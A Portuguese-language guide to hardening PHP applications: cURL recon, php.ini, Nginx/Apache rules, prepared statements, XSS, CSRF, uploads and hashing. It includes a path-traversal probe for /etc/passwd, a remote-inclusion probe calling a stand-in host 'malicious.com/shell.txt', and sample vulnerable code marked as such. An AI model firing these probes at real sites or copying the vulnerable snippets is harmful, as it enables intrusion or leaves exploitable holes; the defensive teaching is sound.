Hardening e Recon em Aplicações PHP com cURL: Do Erro à Mitigação#
Este guia consolida uma metodologia prática de auditoria e proteção de aplicações PHP. O foco é o reconhecimento de baixo nível (Low-level Recon) utilizando o curl para validar a superfície de ataque e a implementação de contramedidas que garantam a resiliência da infraestrutura.
Ao longo das validações, mantenho uma regra operacional simples: primeiro confirmar exposição real no endpoint, depois aplicar mitigação em camada de runtime (php.ini), servidor web (Apache/Nginx) e código da aplicação. Sem esse encadeamento, é comum "corrigir" um ponto e manter o vetor aberto em outro.
1. Entendendo o escopo de recon e hardening#
A segurança de aplicações PHP exige uma abordagem defensiva em camadas. O reconhecimento utilizando cURL permite que os administradores simulem a perspectiva de um atacante na verificação de endpoints públicos. No entanto, o reconhecimento é apenas o diagnóstico inicial.
A mitigação definitiva passa pelo hardening do arquivo de configuração do PHP (php.ini), proteção sintática nos servidores web e escrita de código seguro seguindo as diretrizes do OWASP Top 10.
2. Backups preventivos obrigatórios#
Antes de efetuar alterações em diretórios ou nos arquivos de inicialização do PHP ou servidores web, realizar backups preventivos é imperativo para viabilizar um plano de rollback rápido.
Comandos de backup:#
# 1. Backup do arquivo php.ini ativo
cp /etc/php/8.1/fpm/php.ini /root/php.ini.bak.$(date +%Y%m%d)
# 2. Backup do diretório de configurações do Nginx
cp -r /etc/nginx/conf.d/ /root/nginx-backup-$(date +%Y%m%d)/
# 3. Backup do diretório de configurações do Apache
cp -r /etc/apache2/ /root/apache-backup-$(date +%Y%m%d)/
Assegure que os destinos dos backups como /etc/php/8.1/fpm/php.ini, /etc/nginx/conf.d/ e /etc/apache2/ estejam livres para escrita.
3. Varredura e verificação de LFI & RFI#
Vulnerabilidades de inclusão de arquivos locais (LFI) e remotos (RFI) permitem que um atacante leia dados confidenciais do servidor ou execute códigos hospedados externamente.
Testes de reconhecimento com cURL:#
# Testar vulnerabilidade de LFI
curl -s -o /dev/null -w "%{http_code}" "https://domain.com/index.php?page=../../../../etc/passwd"
# Testar vulnerabilidade de RFI
curl -s -o /dev/null -w "%{http_code}" "https://domain.com/index.php?page=http://malicious.com/shell.txt"
Mitigação profissional no php.ini:#
No arquivo /etc/php/8.1/fpm/php.ini, defina restrições rígidas:
open_basedir = /var/www/html:/tmp:/usr/share/php
allow_url_include = Off
4. Hardening detalhado do servidor web#
Impedir o acesso direto a arquivos de controle, backups residuais e diretórios sensíveis reduz significativamente a superfície exposta.
Hardening Nginx:#
Insira no bloco de configuração do seu site no Nginx:
# Proteger arquivos ocultos e de ambiente
location ~ /\.(ht|git|env) { deny all; }
# Proteger backups e arquivos de dump compactados
location ~ \.(bak|config|sql|zip|tar|gz)$ { deny all; }
# Desabilitar listagem automática de diretórios
autoindex off;
# Proteger arquivos de configuração específicos
location = /wp-config.php { deny all; }
# Injetar cabeçalhos de segurança (Security Headers)
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
Hardening Apache:#
No arquivo de configuração ou no .htaccess da aplicação:
# Bloquear arquivos ocultos
<FilesMatch "^\.">
Require all denied
</FilesMatch>
# Bloquear backups e extensões sensíveis
<FilesMatch "\.(bak|config|sql|zip|tar|gz)$">
Require all denied
</FilesMatch>
# Desabilitar listagem de diretório
Options -Indexes
# Proteger wp-config.php
<Files wp-config.php>
Require all denied
</Files>
5. Mitigação de SQL injection#
Consultas SQL construídas via concatenação direta de strings permitem a manipulação de queries por atacantes.
Aplicação de prepared statements (PDO & mysqli):#
// ❌ VULNERÁVEL (Evitar em produção)
$result = mysqli_query($conn, "SELECT * FROM users WHERE id = " . $_GET['id']);
// ✅ SEGURO - Prepared Statement com MySQLi
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();
// ✅ SEGURO - Prepared Statement com PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]);
$result = $stmt->fetchAll();
6. Proteção contra cross-site scripting (XSS)#
Injeções de scripts no navegador cliente ocorrem quando entradas de usuários não sanitizadas são impressas diretamente no DOM da página.
Sanitização e escapes corretos:#
// ❌ VULNERÁVEL
echo $_GET['name'];
// ✅ SEGURO - Usar htmlspecialchars com flags completas
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
7. Proteção contra cross-site request forgery (CSRF)#
Ataques de falsificação de requisição cross-site forçam o navegador autenticado do usuário a submeter formulários não intencionais no backend.
Fluxo de validação com tokens CSRF:#
// 1. Geração do Token na sessão ativa
session_start();
if (!isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// 2. Inserção do Token no formulário HTML público
echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">';
// 3. Validação segura contra ataques CSRF no backend
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('Acesso negado: Token CSRF inválido.');
}
8. Upload de arquivos seguro#
A aceitação de uploads de arquivos sem validação permite que atacantes enviem scripts executáveis (Webshells) e tomem o controle do servidor.
Script de validação de upload seguro:#
// 1. Validar extensões permitidas
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
die('Extensão de arquivo não permitida.');
}
// 2. Validar MIME type real com Fileinfo
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file['tmp_name']);
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
if (!in_array($mime, $allowed_mimes)) {
die('MIME type inválido.');
}
// 3. Renomeação segura do arquivo para evitar Path Traversal
$new_name = bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($file['tmp_name'], '/var/www/html/uploads/' . $new_name);
9. Autenticação segura#
Senhas armazenadas em texto plano ou com algoritmos fracos (MD5/SHA1) são facilmente expostas em vazamentos de dados.
Padrão de criptografia de credenciais:#
// Armazenar hash seguro usando Argon2id
$hash = password_hash($password, PASSWORD_ARGON2ID);
// Validar credenciais no login
if (password_verify($input_password, $hash)) {
// Login validado com sucesso
}
// Forçar expiração temporal de senha ativa
if (time() - $user['password_changed_at'] > 90 * 24 * 3600) {
header('Location: /change-password.php');
exit;
}
10. Telemetria de performance#
A auditoria sistemática do tempo de resposta das requisições permite encontrar potenciais travamentos nos scripts de segurança.
Comandos de telemetria operacional:#
# 1. Medir o tempo total de resposta de um endpoint via cURL
time curl -o /dev/null -s https://domain.com/
# 2. Consultar o limite de memória alocado no PHP
php -i | grep memory_limit
# 3. Analisar frequência de IPs nos logs do Nginx
tail -50 /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn
11. Registro e verificação de logs de segurança#
Registrar ataques detectados em arquivos de log dedicados permite a integração com soluções de monitoramento e firewalls ativos (como fail2ban).
Função de log de ataque:#
function log_attack($type, $ip, $details) {
$log = date('Y-m-d H:i:s') . " [$type] IP: $ip - $details\n";
error_log($log, 3, '/var/log/php-attacks.log');
}
// Exemplo de uso em filtros de entrada
if (preg_match('/\.\.\//', $_GET['page'])) {
log_attack('LFI_ATTEMPT', $_SERVER['REMOTE_ADDR'], $_GET['page']);
die('Acesso negado.');
}
Assegure que o arquivo de destino /var/log/php-attacks.log possua permissões adequadas de escrita apenas para o usuário do PHP-FPM.
12. Checklist de hardening e matriz de riscos#
Checklist: hardening PHP + cURL#
1. Arquivo php.ini#
- [ ] O parâmetro
open_basedirestá restrito aos diretórios necessários? - [ ] A inclusão remota de URLs
allow_url_includeestá desativada? - [ ] Diretivas de sessões seguras (
use_strict_mode,httponly,secure) ativas? - [ ] Funções do sistema perigosas em
disable_functionsno pool?
2. Servidores web Nginx/Apache#
- [ ] Acesso a arquivos ocultos (
.env,.git) explicitamente bloqueado? - [ ] Listagem de diretórios desativada nas configurações globais?
- [ ] Cabeçalhos de segurança de borda injetados com sucesso?
3. Padrões de código#
- [ ] Conexões de banco utilizando prepared statements (PDO/MySQLi)?
- [ ] Escapes com
htmlspecialchars()aplicados a exibições dinâmicas? - [ ] Formulários protegidos com tokens CSRF de uso único?
- [ ] Validação rigorosa de extensão e MIME type de uploads de arquivos ativa?
Matriz de riscos e impacto em aplicações web PHP#
| Anomalia / Risco | Severidade | Categoria | Impacto | Contramedida de Mitigação |
|---|---|---|---|---|
| Inclusão Remota (RFI) | Crítica | Execução de Código | Execução de scripts maliciosos hospedados remotamente pelo invasor. | Desativar allow_url_include e restringir caminhos em open_basedir. |
| Acesso a Arquivos (LFI) | Alta | Vazamento de Dados | Leitura de arquivos de configuração confidenciais do servidor. | Isolamento via open_basedir e sanitização de variáveis de inclusão. |
| SQL Injection (SQLi) | Crítica | Segurança | Modificação e roubo completo dos dados salvos no banco. | Substituir concatenações diretas por Prepared Statements. |
| Cross-Site Scripting (XSS) | Alta | Integridade | Sequestro de sessões ativas de clientes via JavaScript. | Aplicar htmlspecialchars() e cookie flag HttpOnly. |
| Ataque CSRF | Média | Integridade | Ações indesejadas executadas pelo usuário autenticado sem consentimento. | Geração e validação de tokens CSRF baseados em sessão. |
Este artigo foi útil?
Deixe uma reação rápida para apoiar o conteúdo:
Este post está licenciado sob CC BY-NC.



Comentários
Participe da discussão abaixo.
0 comentários